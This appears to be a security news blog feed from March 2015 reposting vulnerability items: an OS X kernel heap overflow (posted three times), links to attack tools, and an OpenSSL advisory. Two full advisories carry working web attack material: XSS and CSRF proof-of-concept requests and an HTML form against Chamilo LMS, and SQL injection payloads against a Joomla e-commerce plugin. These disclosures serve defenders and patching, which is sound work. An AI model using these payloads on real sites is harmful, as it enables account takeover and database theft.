Microsoft Signatures to be REQUIRED for Windows 10 Kernel-Mode Drivers

March 18, 2015, 2:18 pm

≫ Next: Beware the “Insert and Link” Feature in Microsoft Office

≪ Previous: MANUALLY REMOVING THE PASSWORD FROM MALICIOUS VBA PROJECTS

$

0

0

Nobody likes having to sign their 64-bit Windows kernel-mode drivers.  But after you’ve done it a few times, you get used to it.  And after all, you tell yourself, it’s probably worth it in terms of security.  And at least it’s something you can do in-house and Microsoft doesn’t have to get involved, right?
Well, that’s about to change.  According to announcements made today at WinHEC in Shenzhen, kernel-mode code signing as we’ve come to know it will not be sufficient for your drivers to run on Windows 10.
In order for your driver to be trusted on Windows 10 desktop machines, you will have to get a Microsoft signature.

more here..........https://www.osr.com/blog/2015/03/18/microsoft-signatures-required-km-drivers-windows-10/

---

Beware the “Insert and Link” Feature in Microsoft Office

March 18, 2015, 5:24 pm

≫ Next: Dridex Code Breaking – Modify the Malware to Bypass the VM Bypass

≪ Previous: Microsoft Signatures to be REQUIRED for Windows 10 Kernel-Mode Drivers

$

0

0

Throughout course of my monitoring future and possible targeted attacks, I recently chanced upon a spear-phishing email sent to an undisclosed recipient that contains three seemingly harmless documents.

more here..........http://blog.trendmicro.com/trendlabs-security-intelligence/beware-the-insert-and-link-feature-in-microsoft-office/

Dridex Code Breaking – Modify the Malware to Bypass the VM Bypass

March 18, 2015, 5:28 pm

≫ Next: Mac OS X 10.10.2 IOHIDFamily.kext IOHIDSecurePromptClient Heap Overflow

≪ Previous: Beware the “Insert and Link” Feature in Microsoft Office

$

0

0

The arrival of spring brings many good things, but it’s also prime season for tax-themed phishing emails. A partner of ours recently reported an email with the subject “Your Tax rebate” that contained an attachment with Dridex and password-protected macros to hinder analysis. If you read this blog, this story should sound familiar, but this particular strain took new precautions, such as adding a longer password and using VM detection inside of the code.

more here.......http://phishme.com/dridex-code-breaking-modify-the-malware-to-bypass-the-vm-bypass/

Mac OS X 10.10.2 IOHIDFamily.kext IOHIDSecurePromptClient Heap Overflow

March 18, 2015, 8:40 pm

≫ Next: Mac OS X 10.10.2 Default KEXT heap overflow LPE

≪ Previous: Dridex Code Breaking – Modify the Malware to Bypass the VM Bypass

$

0

0

I have recently found an exploitable heap overflow in a core OS X driver.
Particularly, the injectString function is vulnerable to an heap overflow and can be triggered without privileges of any kind.

The vulnerable function can be seen at http://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-503.200.2/IOHIDSystem/IOHIDSecurePromptClient.cpp

I wrote a weaponized poc at http://github.com/kpwn/vpwn.

The KASLR leak is not reliable. It works only on Macs with AMD (no FirePro) GPUs. (Tested on a last gen 5K Retina iMac).
It was the only one I'd sacrifice for a public PoC because of that constraint.

It does not completely clean up it's own mess, so running ioreg after running the PoC will likely crash your box.

The particular IOKit service has been involved in a CVE in October. It had functions that could literally not be used without crashing the kernel.
There still are other unsafe functions in that very same file. Apple has disabled the service in particular on the latest 10.10.3 beta possible due to those other bugs. I do not believe they are aware of this issue in particular. But this is pure speculation, and it doesn't matter in the end, since the vulnerability cannot be triggered anymore.

Let me know what you think,
Luca Todesco.
-qwertyoruiop
info@qwertyoruiop.com

Mac OS X 10.10.2 Default KEXT heap overflow LPE

March 18, 2015, 8:42 pm

≫ Next: Mac OS X 10.10.2 kernel extension heap overflow resulting in LPE

≪ Previous: Mac OS X 10.10.2 IOHIDFamily.kext IOHIDSecurePromptClient Heap Overflow

$

0

0

I have recently found an exploitable heap overflow in a core OS X driver.
Particularly, the injectString function is vulnerable to an heap overflow and can be triggered without privileges of any kind.


The vulnerable function can be seen at http://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-503.200.2/IOHIDSystem/IOHIDSecurePromptClient.cpp


I wrote a weaponized poc at http://github.com/kpwn/vpwn.


The KASLR leak included is not reliable across macs. It works only on Macs with AMD (no FirePro) GPUs. (Tested on a last gen 5K Retina iMac). 
It was the only one I'd sacrifice for a public PoC because of that constraint.
It's disabled by default too, but it's trivial to enable it by editing lsym_priv.h.


It does not completely clean up it's own mess, so running ioreg after running the PoC will likely crash your box. 


The particular IOKit service has been involved in a CVE in October. It had functions that could literally not be used without crashing the kernel. 
There still are other unsafe functions in that very same file. Apple has disabled the service in particular on the latest 10.10.3 beta possible due to those other bugs. I do not believe they are aware of this issue in particular. But this is pure speculation, and it doesn't matter in the end, since the vulnerability cannot be triggered anymore.


Let me know what you think and sorry for the wall of text,
Luca Todesco.
-qwertyoruiop
info@qwertyoruiop.com

Mac OS X 10.10.2 kernel extension heap overflow resulting in LPE

March 18, 2015, 8:47 pm

≫ Next: Kadimus

≪ Previous: Mac OS X 10.10.2 Default KEXT heap overflow LPE

$

0

0

I have recently found an exploitable heap overflow in a core OS X driver.
Particularly, the injectString function is vulnerable to an heap overflow and can be triggered without privileges of any kind.


The vulnerable function can be seen at http://opensource.apple.com/source/IOHIDFamily/IOHIDFamily-503.200.2/IOHIDSystem/IOHIDSecurePromptClient.cpp


I wrote a weaponized poc at http://github.com/kpwn/vpwn.


The KASLR leak included is not reliable across macs. It works only on Macs with AMD (no FirePro) GPUs. (Tested on a last gen 5K Retina iMac). 
It was the only one I'd sacrifice for a public PoC because of that constraint.
It's disabled by default too, but it's trivial to enable it by editing lsym_priv.h.


It does not completely clean up it's own mess, so running ioreg after running the PoC will likely crash your box. 


The particular IOKit service has been involved in a CVE in October. It had functions that could literally not be used without crashing the kernel. 
There still are other unsafe functions in that very same file. Apple has disabled the service in particular on the latest 10.10.3 beta possible due to those other bugs. I do not believe they are aware of this issue in particular. But this is pure speculation, and it doesn't matter in the end, since the vulnerability cannot be triggered anymore.


Let me know what you think and sorry for the wall of text,
Luca Todesco.
-qwertyoruiop
info@qwertyoruiop.com

Kadimus

March 18, 2015, 9:03 pm

≫ Next: Chamilo LMS 1.9.10 Multiple XSS & CSRF Vulnerabilities

≪ Previous: Mac OS X 10.10.2 kernel extension heap overflow resulting in LPE

$

0

0

LFI Scan & Exploit Tool here..........https://github.com/P0cL4bs/Kadimus

Chamilo LMS 1.9.10 Multiple XSS & CSRF Vulnerabilities

March 18, 2015, 9:06 pm

≫ Next: Web-Dorado ECommerce-WD for Joomla plugin multiple unauthenticated SQL injections

≪ Previous: Kadimus

$

0

0

I. Overview
========================================================
Chamilo LMS 1.9.10 or prior versions are prone to a multiple Cross-Site Scripting (Stored + Reflected) & CSRF vulnerabilities. These vulnerabilities allows an attacker to gain control over valid user accounts in LMS, perform operations on their behalf, redirect them to malicious sites, steal their credentials, and more.

II. Severity
========================================================
Rating: High
Remote: Yes
Authentication Require: Yes
CVE-ID:

III. Vendor's Description of Application
========================================================
Chamilo LMS, or Chamilo Learning Management System is a piece of software that allows you to create a virtual campus for the provision of online or semi-online training. It is distributed under the GNU/GPLv3+ license and its development process is public. All the Chamilo software products are entirely free (as in freedom), free (as in beer) and complete, and are production-ready without requiring any type of payment.

https://chamilo.org/chamilo-lms/

IV. Vulnerability Details & Exploit
========================================================
1) Multiple Reflected XSS Request

Request Method = GET

XSS PoC's:-

/main/calendar/agenda_list.php?type=personal%27%20onmouseover=%27confirm%280%29%27/%3E%3C!--
/main/messages/outbox.php?f=social"+onmouseover="confirm(0)
/main/mySpace/student.php?keyword=31337"+onmouseover=confirm(0)//&active=0&_qf__search_user=&submit=Search
/main/inc/lib/fckeditor/editor/plugins/ajaxfilemanager/ajax_get_file_listing.php?editor=stand_alone&view=thumbnail&search=1&search_name=admin&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=;</script><script>confirm(0)</script>
/main/admin/configure_extensions.php?display=</script><script>confirm(0)</script>
/main/admin/course_category.php?action=add&category="/><script>confirm(0)</script>
/main/admin/session_edit.php?page=resume_session.php%22%20onmouseover=confirm%280%29//&id=1

b) User Agent Header XSS (Reflected)
GET /main/admin/system_status.php?section=webserver
User-Agent: <script>confirm(0)</script>
__________________________________________________________

2) Stored XSS

File Attachment Description parameter (legend[]) is vulnerable to Stored XSS By utilizing "social network" an attacker may send a crafted message to anybody with XSS payload in the file attachment description field (i.e legend[])

Request Method : POST
Location = /main/messages/new_message.php?f=social
Parameter = legend[]

Stored XSS PoC :-

POST /main/messages/new_message.php?f=social HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/main/messages/new_message.php?f=social
Cookie: XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: multipart/form-data;
boundary=---------------------------8461144986726
Content-Length: 1023
-----------------------------8461144986726
Content-Disposition: form-data; name="users[]"
3
-----------------------------8461144986726
Content-Disposition: form-data; name="title"
Stored XSS Test Via Social network
-----------------------------8461144986726
Content-Disposition: form-data; name="content"
This is test message<BR>
-----------------------------8461144986726
Content-Disposition: form-data; name="attach_1"; filename="test.txt"
Content-Type: text/plain
I owned you !!!!
-----------------------------8461144986726
Content-Disposition: form-data; name="legend[]"
Cool File <script>confirm(0)</script>
-----------------------------8461144986726
Content-Disposition: form-data; name="compose"

-----------------------------8461144986726
Content-Disposition: form-data; name="_qf__compose_message"

-----------------------------8461144986726
Content-Disposition: form-data; name="sec_token"
42917ca29da38f60d49bbaf2ba89b1b9
-----------------------------8461144986726--
________________________________________________________________________

3) CSRF & Stored XSS Request

Method = POST
Location = /main/admin/session_add.php
Parameter = name

POST /main/admin/session_add.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml
+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1//main/admin/session_add.php
Cookie:XXXXXXXXXXXXXXXXXXXXXX
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 231

formSent=1&name=<script>confirm(0)</script>&coach_username=rehan&session_category=0&nb_days_acess_before=0&nb_days_acess_after=0&start_limit=on&day_start=2&month_start=3&year_start=2015&end_limit=on&day_end=2&month_end=3&year_end=2016&session_visibility=2

CSRF PoC:-

<html>
<!-- CSRF Request With Stored XSS Payload -->
<body>
<form action="http://127.0.0.1/main/admin/session_add.php"
method="POST">
<input type="hidden" name="formSent" value="1" />
<input type="hidden" name="name"
value="Test<script>confirm(0)</script>" />
<input type="hidden" name="coach_username" value="admin" />
<input type="hidden" name="session_category" value="0" />
<input type="hidden" name="nb_days_acess_before"
value="0" />
<input type="hidden" name="nb_days_acess_after"
value="0" />
<input type="hidden" name="start_limit" value="on" />
<input type="hidden" name="day_start" value="2" />
<input type="hidden" name="month_start" value="3" />
<input type="hidden" name="year_start" value="2015" />
<input type="hidden" name="end_limit" value="on" />
<input type="hidden" name="day_end" value="2" />
<input type="hidden" name="month_end" value="3" />
<input type="hidden" name="year_end" value="2016" />
<input type="hidden" name="session_visibility" value="1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>


VI. Affected Systems
========================================================
Software: Chamilo LMS
Version: 1.9.10 and Prior
Solution (Fix): Upgrade to 1.9.11 (https://github.com/chamilo/chamilo-lms/)

VII. Vendor Response/Solution
========================================================
Vendor Contacted : 02/12/2015
Vendor Response : 02/12/2015
Patch Release: 03/17/2015
Advisory Release: 03/18/2015

VIII.Credits
========================================================
Discovered by Rehan Ahmed
knight_rehan@hotmail.com

---

Web-Dorado ECommerce-WD for Joomla plugin multiple unauthenticated SQL injections

March 18, 2015, 9:08 pm

≫ Next: Windows: Local WebDAV NTLM Reflection Elevation of Privilege

≪ Previous: Chamilo LMS 1.9.10 Multiple XSS & CSRF Vulnerabilities

$

0

0

Version 1.2.5 of the ECommerce-WD plugin for Joomla! has multiple
unauthenticated SQL injections available via the advanced search
functionality.

http://extensions.joomla.org/extension/ecommerce-wd

The vulnerable parameters are search_category_id, sort_order, and
filter_manufacturer_ids within the following request:

POST
/index.php?option=com_ecommercewd&controller=products&task=displayproducts
HTTP/1.1
Host: 172.31.16.49
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101
Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://172.31.16.49/index.php?option=com_ecommercewd&view=products&layout=displayproducts&Itemid=120
Cookie: 78fdafa5595397a1fc885bb2f0d74010=q1q1ud2sr0la18o5b38mkbdak2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 321

product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12


Vectors:

Parameter: filter_manufacturer_ids (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND 8066=8066 AND
(7678=7678&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND (SELECT 7197 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT
(ELT(7197=7197,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
(1212=1212&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1)
AND (SELECT * FROM (SELECT(SLEEP(5)))SrXu) AND
(1480=1480&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12



Parameter: search_category_id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND 3039=3039 AND
(6271=6271&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND (SELECT 5158 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT
(ELT(5158=5158,1))),0x71706a6a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND
(8257=8257&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
AND (SELECT * FROM (SELECT(SLEEP(5)))AUWc) AND
(1251=1251&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1)
UNION ALL SELECT CONCAT(0x71786a6b71,0x704f43796c4773545349,0x71706a6a71)--
&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc&pagination_limit_start=0&pagination_limit=12



Parameter: sort_order (POST)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT
(CASE WHEN (8973=8973) THEN 1 ELSE 8973*(SELECT 8973 FROM
INFORMATION_SCHEMA.CHARACTER_SETS)
END))&pagination_limit_start=0&pagination_limit=12

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.11 time-based blind - ORDER BY, GROUP BY clause
    Payload:
product_id=&product_count=&product_parameters_json=&search_name=&search_category_id=1&filter_filters_opened=1&filter_manufacturer_ids=1&filter_price_from=&filter_price_to=&filter_date_added_range=0&filter_minimum_rating=0&filter_tags=&arrangement=thumbs&sort_by=&sort_order=asc,(SELECT
(CASE WHEN (6064=6064) THEN SLEEP(5) ELSE 6064*(SELECT 6064 FROM
INFORMATION_SCHEMA.CHARACTER_SETS)
END))&pagination_limit_start=0&pagination_limit=12


Metasploit modules that exploit the UNION-based injection are available on
ExploitHub:

Enumerate users --
https://exploithub.com/joomla-e-commerce-wd-plugin-users-enumeration-via-sql-injection.html
Read files --
https://exploithub.com/joomla-e-commerce-wd-plugin-file-download-via-sql-injection.html
Write payload to web directory --
https://exploithub.com/joomla-e-commerce-wd-plugin-sql-injection.html


Authored by Brandon Perry

Windows: Local WebDAV NTLM Reflection Elevation of Privilege

March 19, 2015, 2:47 am

≫ Next: This report summarizes the results of research and analysis into advanced persistent threats (APTs) dealt with by LAC in Japan.

≪ Previous: Web-Dorado ECommerce-WD for Joomla plugin multiple unauthenticated SQL injections

$

0

0

A default installation of Windows 7/8 can be made to perform a NTLM reflection attack through WebDAV which allows a local user to elevate privileges to local system.

more here...........https://code.google.com/p/google-security-research/issues/detail?id=222

This report summarizes the results of research and analysis into advanced persistent threats (APTs) dealt with by LAC in Japan.

March 19, 2015, 3:00 am

≫ Next: How I Exposed Your Private Photos - Facebook Private Photos Hack

≪ Previous: Windows: Local WebDAV NTLM Reflection Elevation of Privilege

$

0

0

The first part of this report AIMS to Reveal Methods USED in Apts based on actual Cases and to Widely Promote a Deeper Understanding of Cyber-attacks.
In the Second part, we Present some of the results of Researches and Analysis of the Characteristics of attackers and their patterns of attacks revealed by the study of the relationships between multiple cases.

To access full report click here...........http://www.lac.co.jp/security/report/pdf/apt_report_vol1_en.pdf

How I Exposed Your Private Photos - Facebook Private Photos Hack

March 19, 2015, 3:59 am

≫ Next: HTTP(S) specific MITM SSL Proxies

≪ Previous: This report summarizes the results of research and analysis into advanced persistent threats (APTs) dealt with by LAC in Japan.

$

0

0

What if your private mobile photos got exposed publicly?
All of us have the habit of taking photos using our mobile, in that there would definitely be some private photos. what if it's hacked?

This post is about a vulnerability i found on Facebook which allows any malicious Facebook application to read your mobile photos (synced).  You can also read about my recent finding which allowed any malicious user to delete any Facebook photo albums.

more here.........http://www.7xter.com/2015/03/how-i-exposed-your-private-photos.html

HTTP(S) specific MITM SSL Proxies

March 19, 2015, 6:39 am

≫ Next: Paper: Obfuscating Malware through Cache Memory Architecture Features

≪ Previous: How I Exposed Your Private Photos - Facebook Private Photos Hack

$

0

0

Man In The Middle (MITM) SSL Proxies - Simple ways to see traffic between an SSL server and client in clear text here..........https://gist.github.com/jeremiahsnapp/6426298

Paper: Obfuscating Malware through Cache Memory Architecture Features

March 19, 2015, 6:43 am

≫ Next: wifiphisher- Fast automated phishing attacks against WiFi networks

≪ Previous: HTTP(S) specific MITM SSL Proxies

$

0

0

Abstract
There is no doubt that malicious software (malware) is one of the most important threat
in computer security. With increasing of the information systems and computer network
usage in the industrial and governmental infrastructures, their economy and impact over
our society are increasing. According to Symantec’s report in 2008[1], "The release rate
of malicious code and other unwanted programs may be exceeding that of legitimate
software applications." The worst of all, malware design is not as simple as how it was
before. A few years ago, we saw countries who developed malware as a professorial
weapon for their political benefits, and it would not be surprising if one of these weapons
were seen in the corporate world soon. This malware was utilized with many camouflaging
techniques (e.g. polymorphism, metamorphism, etc.) against the malware detection
system.
Basically, the most of the camouflaging techniques obfuscate and hide the signatures
to be stored safely in a non-volatile memory or disk, and before they started to run on
the main memory, they deobfuscate the whole code to execute. Consequently, the detection
systems have simply started to search the signatures in the main memory. In this
thesis, we designed a way to raise the bar from "from disk to memory obfuscation" to
"from disk to cache obfuscation". More specifically, we designed theoretical malware obfuscation
methods for tightly coupled multi-processor systems which utilize caches as a
private memory to evade main memory observer systems as well as other conventional
static data analysis. In order to achieve this goal, we anticipated cache behaviours and
exploited them as well as cache efficiency optimizations. With increasing deployment of
multi-processor computing and other parallel processing devices, the implementation of
local memories like NUMA and hierarchical caches are increasing in order to increase
efficiency and performance and decrease power consumption, and this can be even the
only reason which highlight our studies. Additionally, this thesis discusses implementation
issues arising from interactions between cache coherence mechanisms as well as
from Harvard architecture implementations

more here...........http://brage.bibsys.no/xmlui/bitstream/id/212057/CSayin.pdf

wifiphisher- Fast automated phishing attacks against WiFi networks

March 19, 2015, 6:55 am

≫ Next: OpenSSL Security Advisory [19 Mar 2015] & Appears only 5 CVE's affect LibreSSL: CVE-2015-0207 CVE-2015-0286 CVE-2015-0287 CVE-2015-0289 CVE-2015-0209.

≪ Previous: Paper: Obfuscating Malware through Cache Memory Architecture Features

$

0

0

Wifiphisher is a security tool that mounts fast automated phishing attacks against WiFi networks in order to obtain secret passphrases and other credentials. It is a social engineering attack that unlike other methods it does not include any brute forcing. It is an easy way for obtaining credentials from captive portals and third party login pages or WPA/WPA2 secret passphrases.

more here.........https://github.com/sophron/wifiphisher

---

OpenSSL Security Advisory [19 Mar 2015] & Appears only 5 CVE's affect LibreSSL: CVE-2015-0207 CVE-2015-0286 CVE-2015-0287 CVE-2015-0289 CVE-2015-0209.

March 19, 2015, 7:44 am

≫ Next: Forensic Challenge 14 – “Weird Python“

≪ Previous: wifiphisher- Fast automated phishing attacks against WiFi networks

$

0

0

=======================================

OpenSSL 1.0.2 ClientHello sigalgs DoS (CVE-2015-0291)
=====================================================

Severity: High

If a client connects to an OpenSSL 1.0.2 server and renegotiates with an
invalid signature algorithms extension a NULL pointer dereference will occur.
This can be exploited in a DoS attack against the server.

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 users should upgrade to 1.0.2a.

This issue was was reported to OpenSSL on 26th February 2015 by David Ramos
of Stanford University. The fix was developed by Stephen Henson and Matt
Caswell of the OpenSSL development team.

Reclassified: RSA silently downgrades to EXPORT_RSA [Client] (CVE-2015-0204)
============================================================================

Severity: High

This security issue was previously announced by the OpenSSL project and
classified as "low" severity. This severity rating has now been changed to
"high".

This was classified low because it was originally thought that server RSA
export ciphersuite support was rare: a client was only vulnerable to a MITM
attack against a server which supports an RSA export ciphersuite. Recent
studies have shown that RSA export ciphersuites support is far more common.

This issue affects OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8.

OpenSSL 1.0.1 users should upgrade to 1.0.1k.
OpenSSL 1.0.0 users should upgrade to 1.0.0p.
OpenSSL 0.9.8 users should upgrade to 0.9.8zd.

This issue was reported to OpenSSL on 22nd October 2014 by Karthikeyan
Bhargavan of the PROSECCO team at INRIA. The fix was developed by Stephen
Henson of the OpenSSL core team. It was previously announced in the OpenSSL
security advisory on 8th January 2015.

Multiblock corrupted pointer (CVE-2015-0290)
============================================

Severity: Moderate

OpenSSL 1.0.2 introduced the "multiblock" performance improvement. This feature
only applies on 64 bit x86 architecture platforms that support AES NI
instructions. A defect in the implementation of "multiblock" can cause OpenSSL's
internal write buffer to become incorrectly set to NULL when using non-blocking
IO. Typically, when the user application is using a socket BIO for writing, this
will only result in a failed connection. However if some other BIO is used then
it is likely that a segmentation fault will be triggered, thus enabling a
potential DoS attack.

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 users should upgrade to 1.0.2a.

This issue was reported to OpenSSL on 13th February 2015 by Daniel Danner and
Rainer Mueller. The fix was developed by Matt Caswell of the OpenSSL development
team.

Segmentation fault in DTLSv1_listen (CVE-2015-0207)
===================================================

Severity: Moderate

The DTLSv1_listen function is intended to be stateless and processes the initial
ClientHello from many peers. It is common for user code to loop over the call to
DTLSv1_listen until a valid ClientHello is received with an associated cookie. A
defect in the implementation of DTLSv1_listen means that state is preserved in
the SSL object from one invocation to the next that can lead to a segmentation
fault. Errors processing the initial ClientHello can trigger this scenario. An
example of such an error could be that a DTLS1.0 only client is attempting to
connect to a DTLS1.2 only server.

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 DTLS users should upgrade to 1.0.2a.

This issue was reported to OpenSSL on 27th January 2015 by Per Allansson. The
fix was developed by Matt Caswell of the OpenSSL development team.

Segmentation fault in ASN1_TYPE_cmp (CVE-2015-0286)
===================================================

Severity: Moderate

The function ASN1_TYPE_cmp will crash with an invalid read if an attempt is
made to compare ASN.1 boolean types. Since ASN1_TYPE_cmp is used to check
certificate signature algorithm consistency this can be used to crash any
certificate verification operation and exploited in a DoS attack. Any
application which performs certificate verification is vulnerable including
OpenSSL clients and servers which enable client authentication.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0 and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was discovered and fixed by Stephen Henson of the OpenSSL
development team.

Segmentation fault for invalid PSS parameters (CVE-2015-0208)
=============================================================

Severity: Moderate

The signature verification routines will crash with a NULL pointer
dereference if presented with an ASN.1 signature using the RSA PSS
algorithm and invalid parameters. Since these routines are used to verify
certificate signature algorithms this can be used to crash any
certificate verification operation and exploited in a DoS attack. Any
application which performs certificate verification is vulnerable including
OpenSSL clients and servers which enable client authentication.

This issue affects OpenSSL version: 1.0.2

OpenSSL 1.0.2 users should upgrade to 1.0.2a

This issue was was reported to OpenSSL on 31st January 2015 by Brian Carpenter
and a fix developed by Stephen Henson of the OpenSSL development team.

ASN.1 structure reuse memory corruption (CVE-2015-0287)
=======================================================

Severity: Moderate

Reusing a structure in ASN.1 parsing may allow an attacker to cause
memory corruption via an invalid write. Such reuse is and has been
strongly discouraged and is believed to be rare.

Applications that parse structures containing CHOICE or ANY DEFINED BY
components may be affected. Certificate parsing (d2i_X509 and related
functions) are however not affected. OpenSSL clients and servers are
not affected.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0
and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was discovered by Emilia Käsper and a fix developed by
Stephen Henson of the OpenSSL development team.

PKCS7 NULL pointer dereferences (CVE-2015-0289)
===============================================

Severity: Moderate

The PKCS#7 parsing code does not handle missing outer ContentInfo correctly.
An attacker can craft malformed ASN.1-encoded PKCS#7 blobs with
missing content and trigger a NULL pointer dereference on parsing.

Applications that verify PKCS#7 signatures, decrypt PKCS#7 data or
otherwise parse PKCS#7 structures from untrusted sources are
affected. OpenSSL clients and servers are not affected.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0
and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
OpenSSL 0.9.8 users should upgrade to 0.9.8zf.

This issue was reported to OpenSSL on February 16th 2015 by Michal
Zalewski (Google) and a fix developed by Emilia Käsper of the OpenSSL
development team.

Base64 decode (CVE-2015-0292)
=============================

Severity: Moderate

A vulnerability existed in previous versions of OpenSSL related to the
processing of base64 encoded data. Any code path that reads base64 data from an
untrusted source could be affected (such as the PEM processing routines).
Maliciously crafted base 64 data could trigger a segmenation fault or memory
corruption. This was addressed in previous versions of OpenSSL but has not been
included in any security advisory until now.

This issue affects OpenSSL versions: 1.0.1, 1.0.0 and 0.9.8.

OpenSSL 1.0.1 users should upgrade to 1.0.1h.
OpenSSL 1.0.0 users should upgrade to 1.0.0m.
OpenSSL 0.9.8 users should upgrade to 0.9.8za.

The fix for this issue can be identified by commits d0666f289a (1.0.1),
84fe686173 (1.0.0) and 9febee0272 (0.9.8). This issue was originally reported by
Robert Dugal and subsequently by David Ramos.

DoS via reachable assert in SSLv2 servers (CVE-2015-0293)
=========================================================

Severity: Moderate

A malicious client can trigger an OPENSSL_assert (i.e., an abort) in
servers that both support SSLv2 and enable export cipher suites by sending
a specially crafted SSLv2 CLIENT-MASTER-KEY message.

This issue affects all current OpenSSL versions: 1.0.2, 1.0.1, 1.0.0
and 0.9.8.

OpenSSL 1.0.2 users should upgrade to 1.0.2a
OpenSSL 1.0.1 users should upgrade to 1.0.1m.
OpenSSL 1.0.0 users should upgrade to 1.0.0r.
